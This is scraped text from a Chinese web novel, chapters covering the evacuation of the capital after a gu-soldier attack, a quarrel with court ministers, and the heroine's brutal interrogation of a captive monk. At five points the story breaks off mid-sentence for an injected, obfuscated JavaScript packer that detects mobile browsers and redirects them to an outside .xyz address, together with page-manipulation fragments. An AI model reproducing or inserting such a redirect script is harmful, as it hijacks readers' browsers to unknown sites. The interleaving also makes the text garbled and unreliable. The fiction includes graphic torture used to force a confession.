蛊兵们的惨叫声变得越来越大,还不停地抬手抓挠着自己的皮肤,伴随着他们的动作,蛊兵们身上的盔甲也被摘下,乌黑的血迹不断地从伤口里渗出,再滴落在地,发出滋滋的声响。 很快,这些蛊兵们便开始接二连三地倒下,皮肤上鼓起无数个肿块,又飞快地在体内来回窜动。 “这,这是什么?” 柳寻雁先前不曾看到过这样的景象,被恶心得起了一身鸡皮疙瘩,下意识地压低声音问道。 “蛊虫。” 只来得及道出两个字,叶晚竹便调转目光,朝着谢无咎和天问大师方才站立的地方看了过去。 看来她猜的没错,血月结束,天光大亮,这些已经破蛊的蛊兵便彻底失去了活力,眼下已经不足为惧了。 可刚才谢无咎的动作…… 一边转头一边急着起身,叶晚竹却扑了个空! 天问大师人呢? 刚刚还站在树上,神气活现地大笑着的天问大师,不知道什么时候,竟然消失得无影无踪了? “诶?那秃驴,就这么走了?” 顺着她的目光看去,柳寻雁也瞪大了双眼。 九千岁倒了,她们这边再也没有能和天问大师抗衡的高手,成功只在一瞬间,天问大师居然跑了? “他是不是……脑子有问题?” 想到那秃驴癫狂与庄重无缝切换的模样,还有那诡异的身手,柳寻雁摸了摸下巴道。 她这话是和师妹说的,可低头一看—— “人呢?师妹!” 叶晚竹没听到师姐对天问大师的点评,她已经朝着谢无咎方才倒下的地方,跌跌撞撞地冲了过去。 天问大师的身手那样高强诡异,谢无咎被他击倒,情况,会不会很糟糕? 幸好谢无咎依然倒在那里,并没有被天问大师带走,叶晚竹看着他一动不动的后脑,深深地吸了一口气,这才伸手,把地上的男人翻了过来。 入目仍是谢无咎那张俊美的脸,只是脸色惨白,比叶晚竹见过的尸体看上去还没有气色。 心下一沉,叶晚竹下意识地屏住呼吸,等看到他微微起伏着的胸膛,才卸力地松开了掐着谢无咎肩膀的动作。 还好,人还活着。 又探手到他鼻子下面试了试,确定谢无咎还有呼吸,叶晚竹这才松了口气。 把目光从谢无咎面上移开,看着距离他脑袋几步远的地方还有一块干涸的血迹,叶晚竹不由得又愣住了。 要是她没记错,天问大师刚刚就是站在那里的。 他也受伤了? 还来不及思考,隐月的声音由远及近地传了过来。 “殿下!殿——主子!” 没看见躺在地上的谢无咎时,隐月的声音还透着兴奋,等走到近前,便立刻变成了惊慌失措。 “这,这是怎么了?”他不住地哆嗦着。 主子怎么是这个脸色…… “人还活着。” 知道谢无咎没死,叶晚竹擦掉额头上不知道什么时候冒出的冷汗,已经找回了理智。 主子伤成这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029945|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,隐月在马上怎么也待不住了,愣是从马背上爬了下来,让那个小兵帮忙,再把谢无咎换上去。 趁着这会儿功夫,叶晚竹挑挑拣拣,把刚才发生的事情大概说了一遍。 隐月带着十万大军摸到城中,一路上已经见了不少蛊兵的惨状,也看到了柳汝兰的尸体,闻言倒是没什么情绪起伏,等听到谢无咎忽然倒下,天问大师也一声不响地逃跑,他这才紧紧地皱起了眉头。 叶晚竹一边说着,一边不动声色地观察着隐月的表情。 他现在的模样,看着并不像是单纯地在替谢无咎的情况担忧,而是心事重重,仿佛有很多不能说的秘密。 “……所以,谢无咎的身体,到底怎么回事?” 叶晚竹的话锋蓦地一转。 她刚才被天问大师拿住,生不出半点抗衡的力气,再看师姐也是内伤颇重,明显同样不是天问大师的对手。 不知道那秃驴对自己做了什么,总之他的身手已经超过了正常人的范畴。 谢无咎是怎么能跟他打得有来有回的? 况且,他扯断天问大师胳膊的那一招…… 思绪涌动,叶晚竹的眼神变得越发锐利。 隐月的眉头这会儿皱得更紧了,他抿了抿唇,似乎是控制不住地朝着头顶看了一眼。 叶晚竹顺势看去,被明晃晃的太阳照得闭了闭眼。 太阳…… 说起来,谢无咎和天问大师的异样,好像和蛊兵们是同时发生的。 难道这两位也和血月有什么关系? 谢无咎身上,到底发生过什么? “殿下,您,您就别问了!” 叶晚竹的目光持续追着隐月不放,他耷拉着肩膀,想说又不敢说,哽的直伸脖子。 “等主子清醒过来,您去问他好了。” 这些话,他们可不敢说! 叶晚竹闻言又有些恍惚,这样的话,她从前好像在隐风和隐川的口中也听到过。 又看了一眼脸色为难的隐月,叶晚竹收回目光,也将话题一并带过。 “城里情况如何?” 第三百一十二章 撤离京城 闻言,隐月明显是长长地松了一口气,又打起精神禀报。 “那柳汝兰忽然发狂,引着蛊兵们往城里来,小的见势不妙,便带了兵马跟上。” “谁知道,随着黎明出现,这些蛊兵们的动作也开始渐渐变慢,沿路不停地倒下,到了这边已经剩得不多了,战斗力也跟着衰减,似乎变得和正常士兵无异,西北军的兵马这会儿正在处理残局。” 叶晚竹转头看向柳汝兰那边,果然,这会儿还能站着的蛊兵所剩无几,已经被西北军的骑兵策马团团包围,正在不住地劈砍刺杀。 柳汝兰也已经**,身体被蛊兵扯得东一块,西一块,这会儿只剩下破碎的大理寺囚服,还能勉强证明她的身份。 再远一些的街道上,骑兵队正在沿街处理已经死掉的蛊兵尸体,难闻的味道逐渐朝着整个京城蔓延开来。 “他们身上有蛊虫,不能大意。” 压低声音,叶晚竹的眼神又变得专注。 “这些蛊兵们走过的地方,都要放火焚烧,免得后患无穷。” 如此一来,大半个京城都要化为灰烬了。 不过,听着叶晚竹的话,这会儿在场的所有人都不曾表现出半点反对的意思。 京城都已经变成这个模样了,烧与不烧,又能有什么分别? 不能让这些蛊虫跑出去,才是最紧要的。 “让大军进城,”叶晚竹又看向京城之外,“清点城中的情况,再将京城守卫起来,告诉梅副将,一切,都按照白塔城的例子来。” 这后半句话,她是对着跟来的骑兵队长所说。 这小队长姓傅,跟着徐将军打过不少的仗。 听见这话,又对上叶晚竹的目光,傅队长的身子猛地哆嗦了一下。 白塔城是西北的一座边城,当年和外敌那一战,对方丧心病狂,靠着偷袭抢下白塔城后,因着城中百姓奋起反抗,便在城中水井里下了传播性极强的毒,后来又演变成了疫病,要活生生地将一城之人全都折磨致死。 夺回白塔城的那一仗,当年是萧子景领兵,叶晚竹是他的副将,她也是第一个发现城里的水源有问题的人。 当年的白塔城是怎么处理的? 截断污染水源,再挨个排查城中百姓,最后将城池里里外外把守起来,没让疫病传播出白塔城半步。 难道,难道京城也要变成那样? 心下惶恐,傅队长却不敢有半分耽搁,点一点头便策马转身,朝着城外疾驰而去。 “我们最好也赶紧走。” 目送着傅小队长的背影消失,叶晚竹这才又开了口。 “这些蛊兵的尸体腐烂得太快,放火得迅速。” 顺着她抬起的手指,众人这才又朝着蛊兵那边看去。 只见黑血层层叠叠,已经将最先倒下的蛊兵尸体腐蚀得千疮百孔,阵阵难闻的味道也散发出来。 “立刻通知所有人,最多两炷香的时间,全部撤离。”她皱着眉头道。 柳寻雁哑声道,“撤离倒是没问题,但……咱们去哪儿?” 京城就是叶晚竹的大本营,现在要离开,她一时间也有些没个主意。 环顾四周,叶晚竹最后抬起手,朝着京郊的某处指了指。 “安王别院,应该是个还算清净的去处。” —— 两炷香的时间之后,京城三门缓缓关闭,唯一一座被炸毁的北城门,也被西北大军的部将里三层,外三层牢牢地守住,犹如铁桶一般。 叶晚竹拿了谢无咎的腰牌,正是昭德帝死前交给他的,有这个强有力的信物在手,京城各处的撤离和配合还算顺利。 只是,幸存者们齐聚一堂,将偌大的安王别院挤得满满当当,这事情便又变得有些混乱了起来。 除了谢无咎还没清醒,小花等人受了刑伤,也被安排去休息,叶晚竹看着剩下的,乱成一锅粥的场面,不由得有些头疼。 人人都憋了一肚子的问题,还有需要处理的难关,安王别院宽敞的前厅,这会儿宛如菜市场一般热闹。 五城兵马司和城北 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029946|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大营残部的几位将军,还有京畿另外三座大营的主将站在大厅正中央,正在和倪宰相等一干文臣互相质问。 一个说对方没尽到职责,京中出了这么大的乱子,都不知道前来勤王;另一个说大军早就接到圣旨,城中是圣上在处理叛党,所有人都要按兵不动。 “处理叛党?有什么叛党,是需要把皇宫烧了才能处理的?”倪宰相叉着腰,吼得震天响,“尔等都是聋子,瞎子不成?” “本将有圣旨!不管京中出现什么情况,都不能发兵!” 京城西大营的夏将军扯着嗓子,吼得不比倪宰相气势弱,“倪相饱读诗书,应该比我这个大老粗更知道这话是什么意思吧!我要是贸然带兵入京,岂不是要坏了圣上的好事?” “什么,什么好事!” 跟在倪宰相身边的还是户部尚书张大人,听着这些话,又想起宫中那一片狼藉的惨状,顿时忍不住红了眼眶。 “你们若是赶来瞧瞧,说不定,一切还能有回转的余地!” 城南大营的赵将军这会儿也忍不住了,“瞧瞧?您老别马后炮了,我等当时要是发兵,那就是抗旨不遵啊!” “什么圣旨!都是假的!” “那我们怎么知道?@!” ……于是争吵便又转移到了另外的方向上去。 “行了!都悄悄的!” 所有声音都蓦地被一嗓子大喊打断,众人齐齐哽住,又转头朝声音发出的地方看去。 岑灵川一瘸一拐地走了进来,腰间缠着厚厚的布条,脸色也很是不好。 “你又是何人?”倪宰相用怀疑的目光在他身上来回打量着。 看这打扮,肯定不是京城里正经人家出身的! “你管我是何人呢!” 听出这就是舌战群雄的主力,岑灵川也毫不客气,硬邦邦地把倪宰相的话顶回去,还得费力在屋中看了一圈,这才找到叶晚竹的所在。 “师妹,”他扬起脑袋,“我这件事保管最重要,你得第一个处理!” 第三百一十三章 不听不信,那就打! “什么事?” “师妹?” 两道迥异的声音同时响起,叶晚竹刚想着到底是师兄靠谱,便听见了倪宰相拔高的疑问声,顿时又朝着他那边看了过去。 倪相爷本来就紧紧皱着的眉头,这下更是拧成了一个大疙瘩,他严厉又惊疑的目光在叶晚竹和岑灵川之间转来转去,语气全是怀疑。 “这是怎么回事啊?” 什么师兄师妹的,这么江湖儿女的称呼,怎么会出现在朝堂之上? 倪相爷的眼神又格外重地往叶晚竹身上砸了砸。 从景平王妃摇身一变成了威远王,昭德帝当初给叶晚竹这个殊荣的时候,他就在怀疑了! 好端端的,圣上为什么要封一个女子当外姓王? 难道真是糊涂了不成? 再往后看,叶晚竹插手朝堂之事,又火烧景平王府,还当众吊死景平王萧子景,怎么看,都是在借着圣上给的名号胡作非为,打击报复! 现在京中生乱,居然是她领着西北大军守城? 这又是什么不伦不类的操作! 四大营的兵马又不是**! 倪宰相一直就对叶晚竹的安排颇有微词,只是撤离的时间卡得紧,转移到安王别院之后,他又被这帮武将们的胡搅蛮缠气得不轻,所以还没腾出功夫来找上去问话。 没想到,这会儿又冒出来一个劳什子的师兄! 这师兄能说出什么至关重要的事情来? 打打杀杀,还是江湖规矩? 倪宰相看着岑灵川的表情越发难看,张嘴就要说话。 朝堂大事,不容耽搁! “你!闭嘴!” 看出倪宰相的打算,岑灵川似笑非笑,赶在他开口的最后一刻,猛地拔高嗓门,喝住了他的话头。 这老大人看他的眼神,一看就说不出什么好听的来! “你——!”倪宰相一口气卡在嗓子里出不去,差点儿气得一个倒仰! 岂有此理! 这是哪儿来的乡野匹夫,敢让他闭嘴! “师兄,说正经事。”叶晚竹这时候又开了口。 倪宰相本就鼓起的双眼,这下瞪得更大了。 什么叫说正经事? 意思是,他不正经? 叶晚竹凉凉地朝着他那边看了一眼。 昭德帝封她做异姓王的时机本就不算妥当,她又从来没有和朝中这些大人们接触过,虽然眼下令牌在她手中,不过他们不服她,也是再正常不过的事情。 疑人不用,叶晚竹没打算让这些大人们替她办什么大事,但他们也不能给她找麻烦。 否则,现在难办的事情这么多,她可没有耐心跟他们打太极。 “师兄,说吧。” 无视了倪宰相哆哆嗦嗦的下嘴唇,叶晚竹又朝着岑灵川看去,这回眼中便带上了催促之意。 岑灵川飞快地朝着倪宰相等一干大人们翻了个白眼,扭过头,已经恢复了一脸正色。 “无尘那个老秃驴在我手里。” 叶晚竹怔然,而后又立刻向前两步,“他在什么地方?” “柴房,隐风和隐川在看着他,这会儿醒了。” 岑灵川的话说得十分干脆利落。 先前没想到要撤出京城,他抓了无尘大师,便把他安置回了东厂的地牢,后来听到消息,只好又把人重新打晕带来了。 “我去看看。” 说着话,叶晚竹便朝着屋外走去,却被两个护院模样的男子拦在了面前。 “干什么?”岑灵川眉头一皱,“都滚!” 本来时间就紧张,还耽搁! “还请殿下留步!” 倪宰相的声音再次传来,这会儿听着是已经缓过神来了。 岑灵川闻言更鼻子不是鼻子,眼睛不是眼睛,“老大人,你这就——” 他的话还没说完,便看见叶晚竹从下面朝他摆了摆手。 “大人有话快说。” 转身对上倪宰相那张怒意暗含的脸,叶晚竹挑了挑眉,毫不畏惧。 “最好是有用的话。”她又道。 倪宰相刚刚才喘匀的那口气,眼见着又要把喉咙堵住了。 他用力地呼吸几下,还伸手在胸口捶了捶,这才沉沉地开了口。 “殿下,现在到底是个什么情况,您总得先和我们交代清楚吧?无缘无故地让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16029947|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们撤离京城,又跑到安王别院里来干什么?” 倪宰相的眉头在这里就没松开过,他直勾勾地盯着叶晚竹,眼中全是怀疑。 一直以来,倪宰相就有个不好的猜测,正是和安王有关。 圣上病重,将自己关在宫中多日,直到当初的安王世子孟希越逼宫才召见了大臣,那时候他身染沉疴,瞧着十分憔悴。 就那么一面之后,圣上再次闭关治病,等再次出现,却比原先足足圆润了两倍还有余。 什么药能把人在短时间内喝成这样? 再加上那次入宫,圣上神情诡异,表现奇怪,倪宰相事后回想,越发觉得事情不太对劲! 倪宰相自己也不知道他是什么时候把思绪转到安王头上来的,但他只知道,全京城里里外外,能胖成那样的,他也就见过一个安王殿下! 身材不符,又不开口说话,难道他们之前见过的圣上,是安王假扮的不成? 这猜测太过惊悚,倪宰相不敢再仔细琢磨,可这会儿,看着眼前的这安王别院,他的思绪止不住地疯狂转动! 刚才进来的时候,他可是亲眼所见,安王别院里不仅空荡荡的,连主人带仆从都不见踪影,就连屋中的家具上也都落了一层厚厚的灰,不知道多久没人住过了! 安王呢? 他去了什么地方? 叶晚竹又为什么要把他们带到这儿来? 盯着叶晚竹不带一丝情绪的脸看了半天,倪宰相忽然就感觉自己悟了! 这一切,肯定都是安王的阴谋! 他们都被骗了! “你这个吃里扒外的叛党!”倪宰相抬手就指着叶晚竹的鼻子,“说!你要干什么!” 叶晚竹沉默片刻,终于忍不住,翻了个白眼! 她就知道,这些大人们不会安安稳稳地让她行动的。 “柴房在哪儿?” 叹了口气,她径直转向岑灵川。 岑灵川立刻报出方位,又一脚一个,将那两个护院踹开! “师兄,你守着大人们,隐月,你给大人们简单讲讲京中到底是怎么回事。” “谁敢不听,听完敢不信,那就打!” 第三百一十四章 你认识谢无咎,是不是 撂下两句话,对上前厅中一众大人们瞠目结舌的模样,叶晚竹抬起下巴,又冷笑起来。 “我没功夫跟各位磨嘴皮子,我敢拿项上人头担保,隐月一会儿要说的话绝对真实,你们听了就知道,京城现在正处于一个什么样的境地之中。” “现在的情况非常不妙,没有给你们勾心斗角的余地,谁听完,挨完打还不服的话,师兄,你就把谁送回京城,让他自生自灭!” “这里不能有内讧,都明白了?” 各位大人们的脸色这下变得更加难看起来。 这威远王,说的是不能有内讧,听在他们耳中,完全是在说,他们要无条件服从她的命令啊! 这,这凭什么? “师兄得令!” 目光扫过全场,岑灵川看着各位大人难看的脸色,邪气地笑了一声。 一看这模样,就是会拖后腿的! “别打**啊。”在他身后,叶晚竹又压低声音,极轻地补充了一句,“帮不了忙的就关起来。” 这些都是朝中德高望重的大臣,不用点特殊手段,根本别想让他们听话。 而拳头无疑就是最好用的了。 “知道,放心。”岑灵川同样轻轻地应了下来。 叶晚竹点点头,又朝着做好准备的隐月看了一眼,抬脚快步往柴房的方向而去。 “都老实点啊!” 她刚一走,岑灵川便摆起了狐假虎威的架子,一脚踹上房门,又用自己的身子堵住。 “安安静静地听隐月说话,否则……” 他不怀好意的目光从屋中所有人身上扫过。 否则怎么样? 还真能杀了他们不成? 七个不服,八个不忿,厅中的大人们,尤其是武将,都气势汹汹地瞪着岑灵川。 这江湖人士,哪儿来的嚣张底气—— “啪!” 一声脆响,岑灵川抬手一挥。 他一动不动,明明还站在原地,可掌风却扇得站在四五步开外的倪宰相原地转了半个圈,又后退两步,被人扶住才稳住了身形。 “你,你你你……” 半边脸瞬间就肿了起来,倪宰相何曾受过这种委屈,想说话,疼痛却让他张不开嘴! 各位大人们也倒吸了一口冷气。 这人真敢动手! 他们可是朝廷重臣! 而且,他是怎么办到的? 互相看看,一些大人们这会儿又忍不住想起了京城还太平的时候,身为景平王妃的叶晚竹,都有什么丰功伟绩! 论疯,这位可是一把好手! 现在这人是她师兄,有这层关系,他们这是疯到一起去了? “我告诉你们,你们在我眼里,什么都不算!” 看懂了这些大人们的心中所想,岑灵川阴阴地笑着,又活动了几下手腕。 朝廷大员? 肱骨栋梁? 大梁都快没了,这些人算个屁! “谁敢不听我师妹的安排,我就往死里揍谁,你们要是觉得自己抗揍,那就继续!”他摊开双手道。 谁抗揍? 大人们又开始你看我,我看你。 这回就连武将们的气势也颓废了。 这人,一看就是高手! 单打独斗,他们也没把握啊! 巴掌拳头的威胁之下,一直躁动不安的前厅终于渐渐安静了下来。 隐月一脸呆滞地看完了全程,这会儿跟岑灵川的视线对上,方才回过神,清了清嗓子,上前两步。 “各位大人,还是先听我说吧……” —— 这个时候,叶晚竹也到了柴房门外。 “主子。” 隐风和隐川正守在这里,两人都是一身的伤,瞧着十分狼狈。 “那人已经醒了,手脚都被绑住,他是普通人,没本事逃走。” 和叶晚竹打了招呼,隐川又低声说起了无尘大师的情况。 “普通人?” 叶晚竹闻言挑了挑眉,神情有些意外。 无尘大师可是天问大师身边的亲信,他居然只是个普通人? 这怎么能跟上天问大师的脚步? 难怪被抓住了。 “正是,”隐风也呼哧呼哧地喘着粗气,“他的血没问题,人也不会发狂。” 叶晚竹的目光又在这两位身上转了转。 看起来,他们俩对天问大师的这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16037618|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 套东西,似乎也有些熟悉? 没说什么,叶晚竹收回目光,挑了伤势轻一些的隐川跟着她走进了柴房之中。 安王离开别院进京之后,这里便也暂时闲置了下来,长时间无人居住,到处都堆积着灰尘。 柴房更是如此,最近还下过几场雨,推开房门,一股陈腐的霉味便传到了叶晚竹鼻端。 还混合着血腥气,更加难闻。 叶晚竹垂下目光看着躺在地上的无尘大师。 这位先前已经挨过好打了,看上去是师兄的手法,无尘大师脸上青青紫紫练成一片,牙也被打掉了好几颗。 他双手双脚都被反绑着,关节全都扭断了,就算是能挣脱绳索,也别想站起来走出去一步。 叶晚竹的眼皮忍不住跳了跳。 “你,你……!” 这个时候,听到开门的动静,无尘大师也艰难地挣扎着张开了双眼,看着在自己面前蹲下的女子,他猛地倒吸了一口气! “不认识我了?” 弯腰又看了看无尘大师难看的表情,叶晚竹轻笑一声,伸手把这位从地上推了起来,让他靠着干草垛坐好。 “你们,你们想干什么……” 被这一系列动作疼得又连连吸气,无尘大师坐好之后,只觉浑身上下都快失去了知觉。 正面对上叶晚竹的脸,他又哆哆嗦嗦地咽起了口水。 “我什么都不知道,你们杀了我吧!” 脖子一伸,无尘大师的脸上这会儿仿佛正写着四个大字。 视死如归! “想死哪儿有这么容易?” 抬手在无尘大师脸上的伤口上戳了几下,眼看着这位又开始龇牙咧嘴地喊疼,叶晚竹不仅没收手,反而又加大了力道。 “你骗人都骗得没技术,你是天问那老秃驴身边的人,身为他的左膀右臂,会什么都不知道?你是觉得我们都是傻子吧?”她语气嘲讽。 无尘大师闭着双眼,身子也开始不住地打着哆嗦! 事到如今,他还能怎么办? 那个叫岑灵川的,一上来就拿走了他身上的所有东西,他这会儿是求生不得,求死不能! “我问你,你认识谢无咎,是不是?” 第三百一十五章 他是另外的品种 正在瑟瑟发抖,忽然听见叶晚竹的问题,无尘大师的身子顿时不动了。 这叫什么话? 他们已经和谢无咎来来**,打了这么多次,他要是连谢无咎是谁都不认识,那他不就是傻子吗? “我看你是真的把我当成傻子。” 听着无尘大师理直气壮的质问,叶晚竹勾了勾嘴角。 下一刻,她攥住无尘大师被捆在身后的手指,朝着反方向猛地一掰! 清脆的嘎嘣声响起,无尘大师的惨叫倒是停顿了片刻才跟着传来,“嗷!” “你知道,我说的不是现在。” 蹲在他脸前,叶晚竹眼神冰冷,看着无尘大师,好像在看一头待宰的猪。 “在你们到大梁,到京城之前,你,还有天问大师,就认识谢无咎,是不是?” 口中问着话,叶晚竹的手却又摸到了无尘大师的又一根手指上。 她的指尖冰凉,无尘大师也随着这动作起了一身的鸡皮疙瘩,感受到叶晚竹又在用力,他张了张口,却又下意识地犹豫着—— “喀嚓!” 第二声响起,无尘大师的惨叫声比刚才还要凄厉! 他翻着白眼想晕过去,手指的断骨处却被叶晚竹死死攥住,还来回揉了两下。 于是无尘大师只能不情不愿地哆嗦着恢复了神智。 这女人,这女人绝对是个疯子! “你说不说?”与此同时,叶晚竹的手也摸上了他的第三根手指。 “我……说,我说!” 咽着口水,生怕叶晚竹再发难,无尘大师忙不迭地点了点头。 “你先放手!”他又忍不住要求着。 等按在自己断骨上的力道终于消失,无尘大师这才长长地松了一口气,从眼皮下悄悄地睨着叶晚竹。 “你,你都想知道什么?”他问。 “全部。” 已经站起身来,叶晚竹居高临下地望着无尘大师,嘴唇微动。 “把你知道的,全都告诉我,不许有半句假话。” 无尘大师闻言眼神闪动两下,似乎是正在思索。 “我把一切都告诉了你,你要保证我的安全!”片刻后,他费力地抬起头,“天问大师知道之后,肯定不会放过我的,我不想被他折磨。” “可以。”听着这话,叶晚竹一口应下,“只要你说的是实话。” 无尘大师的表情又微妙地变了变。 片刻之后,他轻声开口。 “你说得没错,我确实认识谢无咎,而且是在到京城来之前。” 半仰着脑袋,无尘大师似乎是想到了什么,面上笑容古怪。 “昨天晚上是血月之夜对吧,你是不是看到了什么,所以才这么问——啊!” 话音未落,他的脚腕又被叶晚竹重重地踢了一下。 “是我问你,还是你问我?” 叶晚竹面无表情地看着无尘大师,语气里也没什么情绪,可柴房中的温度却似乎变冷了一些。 “哈,哈哈哈……” 和她对视了片刻,无尘大师忽然仰起头,十分放肆地大笑了起来! “你果然什么都不知道!你什么都不知道,居然敢和谢无咎合作,还敢如此相信他……哈哈哈哈!” 他边笑边说,神情越发癫狂,当真好像已经完全疯了一样。 “你有话就利索点说!” 隐川斜晲着叶晚竹依旧没什么表情的脸,忍不住怒斥无尘大师。 闻言,无尘大师的笑声倒是收敛了起来。 他用一种十分古怪的眼神,朝隐川身上来回扫视了几圈。 “你是谢无咎身边的侍卫?”他语气莫名。 “这关你什么事?”隐川紧紧地绷着脸。 无尘大师的表情这下变得越发古怪,“那你肯定不是他的心腹,啊,也难怪,所以你才会被派去做围堵天问大师那么危险的事情。” “……” 深深吸了一口气,隐川挤出一个微笑,眼神冷峻地看着无尘大师。 “照这么说来,你也并不是你家大秃驴的心腹,啊,也难怪,所以你才被他毫不留情地抛下了!” 这秃驴,也是个挑拨离间的高手! 看着无尘大师的表情越发难看,隐川冷冷笑着,心里却忽然一顿。 等等,挑拨离间? 他下意识地又朝着叶晚竹看了过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16037619|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶晚竹这会儿的注意力并不在隐川身上,而是又上前一步,抬脚踩住了无尘大师的脚腕,猛地用力! 无尘大师已经数不清自从叶晚竹进到屋中之后,他已经哀嚎了多少声,剧痛再一次袭来,他翻着白眼,下身的衣袍也湿了一大片。 疼痛太过,他失禁了。 “你再多说一句废话,我切了你的手脚去喂猪。” 叶晚竹的语气终于有了一丝丝的波动。 无尘大师用力咬紧牙关,整张脸也因为剧痛而变形,见叶晚竹又抬起脚,硬是从牙缝里挤出一句话。 “谢无咎也是一个载体!” 叶晚竹即将踩向他右脚脚腕的动作停下了。 “他是一个什么?” 载体? 继血蛊之后,这是又出现了什么新的称谓? “载体就,就是……” 忍着巨大的疼痛,无尘大师将载体给叶晚竹解释了一遍。 不料叶晚竹听完又冷笑起来,并且折断了无尘大师的第三根手指。 “我说的都是实话啊!” 又疼又怕,无尘大师终于控制不住地怒吼一声,“你出尔反尔!” “实话?”叶晚竹的笑容写满了嘲讽,“你以为我没看见柳汝兰和金婶子她们是不是?那就是你说的载体吧?她们除了会**,就是会**,连我这个昔日的最大仇家站在面前,都没有半点情绪波动。” “而且,要是我没猜错的话,这个载体都是天问大师弄出来的,危机时刻,应该也会响应天问大师的号召,到他身边去保护他吧?” 不然的话,怎么解释柳汝兰忽然从城门口跑到城里来? 无尘大师的嘴唇不住地蠕动着,一副想说话,又不知道该说什么的样子。 然后他的第四根手指就被叶晚竹按住了。 “你跟我说,谢无咎也是个载体。” 俯身在无尘大师面前,叶晚竹挑了挑眉。 “无论是从理智,还是从护主上来说,谢无咎和柳汝兰,都没有半点相似之处吧?” “当面扯谎,秃驴,你是不是觉得自己现在的处境还是太好了?” “不——他是另外的品种!” 第三百一十六章 装!真会装! 心里惊慌,无尘大师下意识地把话脱口而出,却还是感到又一阵剧痛从脚踝袭上,朝着周身流转开来。 这已经是今天的第几次,无尘大师数不清,也没心思去数。 他浑身哆嗦着惨叫一声,却还是不敢放松。 “真的!我说的都是真的啊!” 这女人,怎么老是一声不响就要动手? 叶晚竹又用脚尖在无尘大师断掉的脚腕上碾了两下,如愿以偿地听着他又哀哀地嚎了两声,这才重新站定下来。 “还有品种?你的瞎话是越编越离谱了。” 她语气淡淡,目光也从无尘大师身上收了回去,看上去已经对他的话没有了任何兴趣。 无尘大师又哆嗦了几下,奋力地挣着身子,朝叶晚竹的方向看了过去。 “我说的是真的!”他语气急切,“那几个女人是低级品种,只会**,没有理智,可,可你们也看见了,只是这样的东西,怎么可能有大用?谢无咎是更高级一些的品种,他有脑子!” 隐川闻言忍不住又攥了攥拳头,额头上青筋迸出,很想上去也给这秃驴来上两脚! 品种? 还是有脑子的品种? 没这么侮辱人的! “照你这样的话说,你应该也是个低级品种吧?” 叶晚竹转身的动作倒是因为这几句话停住了,她背着手,看向无尘大师的时候,眼底又冒出了嘲讽的冷光。 “你们到底在干什么,给人分品种?天问那秃驴剃度的时候,是不是你动的手?把脑子剃坏了吧?” “我……” 无尘大师这会儿满脑子都是浆糊,又疼又虚弱,叶晚竹的话在他耳朵里来来**地滚了好几遍,他才听出这是在骂他和天问大师呢。 抿了抿唇,无尘大师敢怒不敢言。 他打不过,也惹不起这位! “说话!” 沉默间,叶晚竹又一脚踩上了无尘大师的脚腕。 “你们到底在干什么?” 无尘大师疼得脸色惨白,豆大的汗珠不住地往下掉。 “天问,天问大师只让我办事,从来都不告诉我为什么,他的计划,我也不清楚啊……” “哦,原来是这样。” 老神在在地点了点头,叶晚竹脚上却又加重了几分力气。 “那你就告诉我,天问大师都让你办过什么事好了,说仔细点。” “我……” 嘴唇哆嗦,眼皮也在跳个不停,无尘大师急促地小口粗喘着,垂下目光,将眼底的懊恼和慌乱藏住—— “大师,这个问题应该不难回答吧?你为什么如此沉默?” 他刚移开视线,叶晚竹的问题便又追了上来。 